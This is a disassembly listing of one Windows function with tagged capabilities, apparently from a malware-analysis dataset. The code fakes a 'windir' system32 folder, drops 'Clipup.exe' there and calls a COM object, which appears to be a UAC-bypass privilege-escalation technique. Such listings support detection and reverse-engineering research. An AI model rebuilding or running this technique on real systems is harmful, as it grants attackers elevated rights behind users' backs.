Function at 0x14001650f
Capabilities:
Create directory
Delete directory
Delete file

Disassembly:
jmp 0x14002fed0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x268]
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x218], rax
lea rcx, [0x14007e4db]
call fcn.140016b68
nop
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xd8], 0
mov qword [rbp + 0xf8], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x44], eax
lea rcx, [rbp + 0x138]
call qword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
je 0x14002ff7b
jmp 0x14003017c
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x138]
call qword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
je 0x14002ff98
jmp 0x14003017c
mov rcx, qword [rbp + 0xb8]
call fcn.1400162a3
lea rax, [rax + rax + 0x412]
mov qword [rbp + 0x118], rax
mov rcx, qword [rbp + 0x118]
call fcn.140016695
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
jne 0x14002ffd5
jmp 0x14003017c
mov r9d, 1
lea r8, str.MpScanStart
mov edx, dword [rbp + 0x248]
mov rcx, qword [rbp + 0x240]
call fcn.1400166bd
test eax, eax
jne 0x14002fffd
jmp 0x14003017c
mov rax, qword [0x140074d18]
add rax, 0x47c
mov rdx, rax
mov rcx, qword [rbp + 0xd8]
call fcn.1400161f9
nop
mov rdx, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0xd8]
call fcn.140016af0
mov qword [rbp + 0xf8], rax
xor edx, edx
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140030059
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140030059
jmp 0x14003017c
mov r9, qword [rbp + 0xd8]
lea r8, str.windir
xor edx, edx
xor ecx, ecx
call fcn.1400160d7
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14003007e
jmp 0x14003017c
lea rdx, str._system32_
mov rcx, qword [rbp + 0xd8]
call fcn.140016af0
nop
xor edx, edx
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400300b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400300b7
jmp 0x14003017c
lea rdx, str.Clipup.exe
mov rcx, qword [rbp + 0xd8]
call fcn.140016af0
nop
mov r8d, dword [rbp + 0x248]
mov rdx, qword [rbp + 0x240]
mov rcx, qword [rbp + 0xd8]
call fcn.14001612c
test eax, eax
je 0x140030172
lea r9, [rbp + 0x68]
mov r8d, 4
lea rdx, [0x140045198]
lea rcx, str.17CCA47D_DAE5_4E4A_AC42_CC54E28F334A
call fcn.140016965
test eax, eax
jge 0x140030110
jmp 0x14003017c
cmp qword [rbp + 0x68], 0
jne 0x140030119
jmp 0x14003017c
mov eax, 4
imul rax, rax, 0
mov dword [rbp + rax + 0x88], 0x66
mov eax, 4
imul rax, rax, 1
mov dword [rbp + rax + 0x88], 0x66
mov eax, 4
imul rax, rax, 2
mov dword [rbp + rax + 0x88], 0
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
lea r8, [rbp + 0x88]
lea rdx, str.pe386
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x40]
nop
xor eax, eax
test eax, eax
jne 0x14002ff65
cmp qword [rbp + 0x68], 0
je 0x140030192
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + InitCommonControls]
nop
cmp dword [rbp + 0x24], 0
je 0x1400301af
xor r9d, r9d
lea r8, str.windir
xor edx, edx
mov ecx, 1
call fcn.1400160d7
nop
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
call fcn.1400166c7
nop
cmp qword [rbp + 0xd8], 0
je 0x14003023a
cmp qword [rbp + 0xf8], 0
je 0x14003023a
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
xor eax, eax
mov rcx, qword [rbp + 0xf8]
mov word [rcx], ax
lea rdx, str._system32_
mov rcx, qword [rbp + 0xd8]
call fcn.140016af0
nop
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
nop
xor eax, eax
mov rcx, qword [rbp + 0xf8]
mov word [rcx], ax
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
nop
mov rcx, qword [rbp + 0xd8]
call fcn.140016c21
nop
cmp dword [rbp + 0x44], 0
jne 0x140030247
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400596d0]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x218]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x228]
pop rdi
pop rbp
ret